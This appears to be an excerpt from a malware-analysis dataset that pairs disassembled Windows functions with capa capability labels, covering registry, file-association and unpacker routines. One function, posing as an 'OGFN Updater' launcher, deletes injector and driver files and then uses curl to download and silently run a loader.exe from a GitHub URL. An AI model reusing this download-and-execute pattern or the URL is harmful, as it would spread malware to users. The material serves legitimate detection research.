joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001a040
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1405890a0]
jmp 0x140010b00

Function at 0x14001a050
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1405890a0]
jmp 0x140010b00

Function at 0x140036920
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14003692d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14003693d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140036925
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x140036955
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140036942
sub eax, 3
jb 0x14003696f
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1400369a6
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x140036996
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x140036994
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x140036983
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.1400368e2
jmp 0x14003692d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x1b400
mov dl, 9
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1400369f2
cmp rsi, rcx
jae 0x1400369fa
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1400369d9
cmp al, 0x8f
ja 0x1400369d9
cmp byte [rsi - 2], 0xf
je 0x1400369df
sub al, 0xe8
cmp al, 1
ja 0x1400369c3
cmp rsi, rcx
jae 0x1400369fa
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1400369c9
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1400369fa
lodsb al, byte [rsi]
jmp 0x1400369d9
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x34000]
mov eax, dword [rdi]
or eax, eax
je 0x140036a63
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x42cd8]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140036a07
jns 0x140036a3c
movzx rdx, word [rdi]
add rdi, 2
jmp 0x140036a46
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140036a5d
mov qword [rbx], rax
add rbx, 8
jmp 0x140036a27
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x18f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140036abb
sub rsp, 0xffffffffffffff80
jmp 0x14001bce0
Function at 0x1400010f0
Capabilities:
Delete file
Execute command
Self delete
Set console window title

Disassembly:
sub rsp, 0x58
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor eax, eax
mov ecx, 0xfffffff5
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r8, [rsp + 0x20]
mov dword [rsp + 0x24], 0x14005a
mov rcx, rax
mov edx, 1
call qword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
lea rcx, str.echo_off
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140001070
lea rcx, str.OGFN_Updater
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea rcx, str.e_36m____e_0mPreparing_our_Launcher___n_ne_0m
call fcn.140001010
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140003598]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140001070
lea rcx, str.e_36m____e_0m_Checking_for_Updates__n
call fcn.140001010
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [str.C:WindowsTemploader.exe]
movzx eax, word [0x1400035e0]
lea rcx, [rsp + 0x28]
mov word [rsp + 0x40], ax
movzx eax, byte [0x1400035e2]
movups xmmword [rsp + 0x28], xmm0
mov byte [rsp + 0x42], al
movsd xmm0, qword [0x1400035d8]
movsd qword [rsp + 0x38], xmm0
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.del_C:WindowsTempmapper.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:WindowsTempdriver.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:WindowsTempdwareinj.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:WindowsTempinjectorold.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:WindowsTempdwareogfn.dll
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl__o_C:WindowsTemploader.exe_https:__raw.githubusercontent.com_LeakerByDragon1_LeakerByDragon1_main_loader.exe___silent___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140003598]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.e_36m____e_0m_Getting_our_Launcher_Ready__n
call fcn.140001010
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140003598]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsTemploader.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001280
add rsp, 0x58
ret

Function at 0x140001b40
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b8a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b8a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], reloc.KERNEL32.dll_GetModuleHandleW
jne 0x140001b8a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b8a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b8a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b8c
xor al, al
add rsp, 0x28
ret
Function at 0x1800011c0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x1800011f3
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rcx, rax
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x180001236
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r11d, eax
add r11, rbx
and edi, 0xf
jbe 0x180001231
cmp rbx, r11
jae 0x180001236
dec edi
movzx eax, word [rbx]
lea rbx, [rbx + rax*2 + 2]
jne 0x180001220
cmp rbx, r11
jb 0x18000123a
xor eax, eax
jmp 0x180001246
xor eax, eax
cmp word [rbx], ax
cmove rbx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x18000a8c0
Capabilities:
Get session information
Get session user name

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x40
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov rsi, rdx
mov rbp, rcx
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x78]
mov r8d, 5
or edx, 0xffffffff
xor ecx, ecx
call sub.WTSAPI32.dll_WTSQuerySessionInformationW
test eax, eax
je 0x18000a9ab
or rbx, 0xffffffffffffffff
mov rdx, qword [rsp + 0x78]
test rdx, rdx
je 0x18000a93e
xor eax, eax
mov rcx, rbx
mov rdi, rdx
repne scasw ax, word [rdi]
not rcx
lea r8d, [rcx - 1]
mov rcx, rsi
call fcn.180005490
mov rcx, qword [rsp + 0x78]
call sub.WTSAPI32.dll_WTSFreeMemory
mov qword [rsp + 0x78], 0
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.18000a050
nop
mov r8d, 1
lea rdx, [0x180038b98]
lea rcx, [rsp + 0x30]
call fcn.1800058a0
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x78]
mov r8d, 7
or edx, 0xffffffff
xor ecx, ecx
call sub.WTSAPI32.dll_WTSQuerySessionInformationW
test eax, eax
jne 0x18000a9af
mov rax, qword [rsp + 0x30]
lea rdx, [rax - 0x18]
lock xadd dword [rdx + 0x10], ebx
dec ebx
test ebx, ebx
jg 0x18000a9ab
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
xor al, al
jmp 0x18000a9fd
mov rdx, qword [rsp + 0x78]
test rdx, rdx
je 0x18000a9de
xor eax, eax
mov rcx, rbx
mov rdi, rdx
repne scasw ax, word [rdi]
not rcx
lea r8d, [rcx - 1]
mov rcx, rbp
call fcn.180005490
mov rcx, qword [rsp + 0x78]
call sub.WTSAPI32.dll_WTSFreeMemory
nop
mov rax, qword [rsp + 0x30]
lea rdx, [rax - 0x18]
lock xadd dword [rdx + 0x10], ebx
dec ebx
test ebx, ebx
jg 0x18000a9fb
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov al, 1
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
Function at 0x1800133e0
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
cmp qword [rcx], 0
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
je 0x180013454
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x180013476
lea rdx, str.RegDeleteKeyTransactedW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180013476
mov rcx, qword [rbx]
mov qword [rsp + 0x28], 0
xor r9d, r9d
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call rax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
cmp dword [rcx + 8], 0
je 0x180013476
mov rdx, r8
mov rcx, rsi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
jmp qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov eax, 1
add rsp, 0x30
pop rdi
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx + 0x10]
mov rdi, rdx
test rcx, rcx
je 0x1800134be
mov r8, rdx
mov rdx, qword [rbx]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp 0x1800133e0
cmp byte [0x180050d40], 0
jne 0x180013509
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1800134f9
lea rdx, str.RegDeleteKeyExW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov byte [0x180050d40], 1
mov qword [0x180050d38], rax
jmp 0x180013510
mov rax, qword [0x180050d38]
mov byte [0x180050d40], 1
jmp 0x180013510
mov rax, qword [0x180050d38]
mov rcx, qword [rbx]
mov rdx, rdi
test rax, rax
je 0x18001352f
mov r8d, dword [rbx + 8]
xor r9d, r9d
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp rax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
Function at 0x180013490
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
cmp qword [rcx], 0
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
je 0x180013454
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x180013476
lea rdx, str.RegDeleteKeyTransactedW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180013476
mov rcx, qword [rbx]
mov qword [rsp + 0x28], 0
xor r9d, r9d
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call rax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
cmp dword [rcx + 8], 0
je 0x180013476
mov rdx, r8
mov rcx, rsi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
jmp qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov eax, 1
add rsp, 0x30
pop rdi
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx + 0x10]
mov rdi, rdx
test rcx, rcx
je 0x1800134be
mov r8, rdx
mov rdx, qword [rbx]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp 0x1800133e0
cmp byte [0x180050d40], 0
jne 0x180013509
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1800134f9
lea rdx, str.RegDeleteKeyExW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov byte [0x180050d40], 1
mov qword [0x180050d38], rax
jmp 0x180013510
mov rax, qword [0x180050d38]
mov byte [0x180050d40], 1
jmp 0x180013510
mov rax, qword [0x180050d38]
mov rcx, qword [rbx]
mov rdx, rdi
test rax, rax
je 0x18001352f
mov r8d, dword [rbx + 8]
xor r9d, r9d
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp rax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
Function at 0x180013540
Capabilities:
Query or enumerate registry key

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x280
mov rax, qword [0x180050b58]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov r9d, dword [rcx + 8]
xor ebp, ebp
mov rsi, rdx
mov r8, rdx
mov rdx, qword [rcx]
mov rdi, rcx
lea rcx, [rsp + 0x48]
or r9d, 0x2001f
mov qword [rsp + 0x48], rbp
mov dword [rsp + 0x50], ebp
mov qword [rsp + 0x58], rbp
call fcn.180001320
mov rcx, qword [rsp + 0x48]
mov ebx, eax
test eax, eax
jne 0x18001365c
lea rax, [rsp + 0x60]
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x70]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbp
xor edx, edx
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x40], 0x100
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x180013631
nop dword [rax + rax]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x48]
call fcn.180013540
mov rcx, qword [rsp + 0x48]
mov ebx, eax
test eax, eax
jne 0x18001365c
lea rax, [rsp + 0x60]
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x70]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbp
xor edx, edx
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x40], 0x100
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x1800135e0
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x180013646
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x48], rbp
mov rdx, rsi
mov rcx, rdi
mov dword [rsp + 0x50], ebp
call fcn.180013490
mov rcx, qword [rsp + 0x48]
mov ebx, eax
test rcx, rcx
je 0x180013667
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.18002f870
mov rbx, qword [rsp + 0x2b0]
add rsp, 0x280
pop rdi
pop rsi
pop rbp
ret
Function at 0x180013d20
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
push rbp
push rbx
lea rbp, [r11 - 0x1f8]
sub rsp, 0x2e8
mov rax, qword [0x180050b58]
xor rax, rsp
mov qword [rbp + 0x1c0], rax
mov qword [r11 + 0x20], rsi
mov qword [r11 - 0x20], r12
mov qword [r11 - 0x28], r13
xor r13d, r13d
cmp qword [rdx + 0x18], 8
mov r12, r8
mov rsi, rcx
mov qword [rbp - 0x60], 7
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x40], r13d
mov qword [rsp + 0x48], r13
mov qword [rbp - 0x68], r13
mov word [rbp - 0x78], r13w
jb 0x180013d83
mov rdx, qword [rdx]
mov r8, rdx
lea rcx, [rsp + 0x38]
mov r9d, 0x20019
mov rdx, 0xffffffff80000000
call fcn.180001320
test eax, eax
jne 0x180013e50
lea rcx, [rbp - 0x50]
xor edx, edx
mov r8d, 0x208
mov qword [rsp + 0x2e0], rdi
call sub.MSVCR100.dll_memset
mov rbx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
lea r9, [rsp + 0x34]
lea rdx, str.PerceivedType
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x50]
xor r8d, r8d
mov rcx, rbx
mov dword [rsp + 0x30], 0x208
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x180013e14
mov eax, dword [rsp + 0x34]
cmp eax, 1
je 0x180013e08
cmp eax, 2
jne 0x180013e14
cmp dword [rsp + 0x30], r13d
jne 0x180013e14
mov word [rbp - 0x50], r13w
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rbp - 0x50]
repne scasw ax, word [rdi]
lea rdx, [rbp - 0x50]
not rcx
lea r8, [rcx - 1]
lea rcx, [rbp - 0x78]
call fcn.180007510
mov rdi, qword [rsp + 0x2e0]
test rbx, rbx
je 0x180013e55
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, r13
jmp 0x180013e55
mov rbx, qword [rsp + 0x38]
cmp qword [rbp - 0x68], r13
je 0x180013ece
lea rdx, str.SystemFileAssociations
lea rcx, [rsp + 0x38]
mov r8d, 0x16
mov qword [rsp + 0x50], 7
mov qword [rsp + 0x48], r13
mov word [rsp + 0x38], r13w
call fcn.180007510
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x60]
or r9, 0xffffffffffffffff
xor r8d, r8d
mov qword [rsp + 0x78], 7
mov qword [rsp + 0x70], r13
mov word [rsp + 0x60], r13w
call fcn.1800073e0
mov rax, qword [rsi]
lea r9, [rsp + 0x38]
lea rdx, [rsp + 0x60]
mov r8, 0xffffffff80000000
mov rcx, rsi
mov qword [rsp + 0x20], r12
call qword [rax + 0x48]
cmp qword [rbp - 0x60], 8
mov r12, qword [rsp + 0x2d8]
mov rsi, qword [rsp + 0x318]
jb 0x180013eee
mov rcx, qword [rbp - 0x78]
call sub.MSVCR100.dll_void___cdecl_operator_delete_void____ptr64_
mov qword [rbp - 0x68], r13
mov word [rbp - 0x78], r13w
mov r13, qword [rsp + 0x2d0]
mov qword [rbp - 0x60], 7
test rbx, rbx
je 0x180013f15
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x1c0]
xor rcx, rsp
call fcn.18002f870
add rsp, 0x2e8
pop rbx
pop rbp
ret
Function at 0x180013fb0
Capabilities:
Delete registry key
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xb0
mov rax, qword [0x180050b58]
xor rax, rsp
mov qword [rbp + 0x37], rax
xor edi, edi
mov rsi, r8
mov rbx, rdx
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerFileExts_
lea rcx, [rbp + 0xf]
lea r8d, [rdi + 0x3c]
mov qword [rbp + 0x27], 7
mov qword [rbp + 0x1f], rdi
mov word [rbp + 0xf], di
call fcn.180007510
lea rcx, [rbp + 0xf]
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, rbx
call fcn.180007700
lea r8d, [rdi + 0xb]
lea rdx, str.UserChoice
lea rcx, [rbp + 0xf]
call fcn.180013890
cmp qword [rbp + 0x27], 8
lea r8, [rbp + 0xf]
cmovae r8, qword [rbp + 0xf]
lea rcx, [rbp - 0x11]
mov rdx, 0xffffffff80000001
mov r9d, 0x20019
mov qword [rbp - 0x11], rdi
mov dword [rbp - 9], edi
mov qword [rbp - 1], rdi
call fcn.180001320
mov rbx, qword [rbp - 0x11]
test eax, eax
jne 0x180014087
test rbx, rbx
je 0x18001406c
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, edi
cmp qword [rbp + 0x27], 8
lea rdx, [rbp + 0xf]
mov rcx, 0xffffffff80000001
cmovae rdx, qword [rbp + 0xf]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
cmp qword [rbp + 0x27], 8
lea rax, [rbp + 7]
lea rdx, [rbp + 0xf]
cmovae rdx, qword [rbp + 0xf]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x19]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], edi
mov qword [rbp - 0x19], rdi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x18001412b
cmp qword [rsi + 0x18], 8
mov rdi, qword [rbp - 0x19]
jb 0x1800140e1
mov rsi, qword [rsi]
test rsi, rsi
je 0x18001416a
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rdx, str.ProgId
mov r9d, 1
lea eax, [rax + rax + 2]
xor r8d, r8d
mov rcx, rdi
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x18001416a
test rdi, rdi
je 0x18001412b
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test rbx, rbx
je 0x180014139
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp qword [rbp + 0x27], 8
jb 0x180014149
mov rcx, qword [rbp + 0xf]
call sub.MSVCR100.dll_void___cdecl_operator_delete_void____ptr64_
mov al, 1
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.18002f870
mov rbx, qword [rsp + 0xd0]
add rsp, 0xb0
pop rdi
pop rsi
pop rbp
ret
test rdi, rdi
je 0x180014178
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test rbx, rbx
je 0x180014186
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp qword [rbp + 0x27], 8
jb 0x180014196
mov rcx, qword [rbp + 0xf]
call sub.MSVCR100.dll_void___cdecl_operator_delete_void____ptr64_
xor al, al
jmp 0x18001414b
Function at 0x180014200
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x98
mov qword [rsp + 0x58], 0xfffffffffffffffe
mov rax, qword [0x180050b58]
xor rax, rsp
mov qword [rsp + 0x88], rax
mov r12, r9
mov rsi, r8
mov rdi, rdx
mov rbp, rcx
mov dword [rsp + 0x34], 1
xor r13d, r13d
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
mov dword [rsp + 0x30], 0x104
mov edx, 0x104
lea rcx, [rsp + 0x38]
call fcn.180008a70
cmp qword [rsi + 0x18], 8
jb 0x180014274
mov r8, qword [rsi]
jmp 0x180014277
mov r8, rsi
cmp qword [rdi + 0x18], 8
jb 0x180014283
mov rdx, qword [rdi]
jmp 0x180014286
mov rdx, rdi
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov rbx, qword [rsp + 0x38]
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x34]
mov rcx, qword [rbp]
call qword [sym.imp.SHLWAPI.dll_SHGetValueW]
test eax, eax
je 0x180014316
mov edx, 0xffff
lea rcx, [rsp + 0x38]
call fcn.180008a70
mov dword [rsp + 0x30], 0xffff
cmp qword [rsi + 0x18], 8
jb 0x1800142ce
mov rsi, qword [rsi]
cmp qword [rdi + 0x18], 8
jb 0x1800142d8
mov rdi, qword [rdi]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov rbx, qword [rsp + 0x38]
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x34]
mov r8, rsi
mov rdx, rdi
mov rcx, qword [rbp]
call qword [sym.imp.SHLWAPI.dll_SHGetValueW]
test eax, eax
je 0x180014316
test rbx, rbx
je 0x180014312
mov rcx, rbx
call sub.MSVCR100.dll_void___cdecl_operator_delete_void____ptr64_
xor al, al
jmp 0x180014382
cmp rbx, qword [rsp + 0x40]
je 0x180014373
mov qword [rsp + 0x78], 7
mov qword [rsp + 0x70], r13
mov word [rsp + 0x60], r13w
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbx
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.180007510
nop
lea rdx, [rsp + 0x60]
mov rcx, r12
call fcn.1800099c0
nop
cmp qword [rsp + 0x78], 8
jb 0x180014373
mov rcx, qword [rsp + 0x60]
call sub.MSVCR100.dll_void___cdecl_operator_delete_void____ptr64_
nop
test rbx, rbx
je 0x180014380
mov rcx, rbx
call sub.MSVCR100.dll_void___cdecl_operator_delete_void____ptr64_
mov al, 1
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.18002f870
add rsp, 0x98
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x180016650
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0xa0
mov qword [rsp + 0x68], 0xfffffffffffffffe
mov qword [rsp + 0xd8], rbx
mov rax, qword [0x180050b58]
xor rax, rsp
mov qword [rsp + 0x98], rax
mov r12, r8
mov rbp, rcx
xor r13d, r13d
mov esi, r13d
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r13
mov dword [rsp + 0x40], 0x104
mov edx, 0x104
lea rcx, [rsp + 0x48]
call fcn.180008a70
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
lea r9, [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
mov r8, rbx
mov edx, esi
mov rcx, qword [rbp]
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
je 0x180016733
mov dword [rsp + 0x40], 0xffff
mov edx, 0xffff
lea rcx, [rsp + 0x48]
call fcn.180008a70
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
lea r9, [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
mov r8, rbx
mov edx, esi
mov rcx, qword [rbp]
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0x1800167c3
inc esi
mov qword [rsp + 0x88], 7
mov qword [rsp + 0x80], r13
mov word [rsp + 0x70], r13w
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbx
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, rbx
lea rcx, [rsp + 0x70]
call fcn.180007510
nop
lea rdx, [rsp + 0x70]
mov rcx, r12
call fcn.180010f40
nop
cmp qword [rsp + 0x88], 8
jb 0x180016793
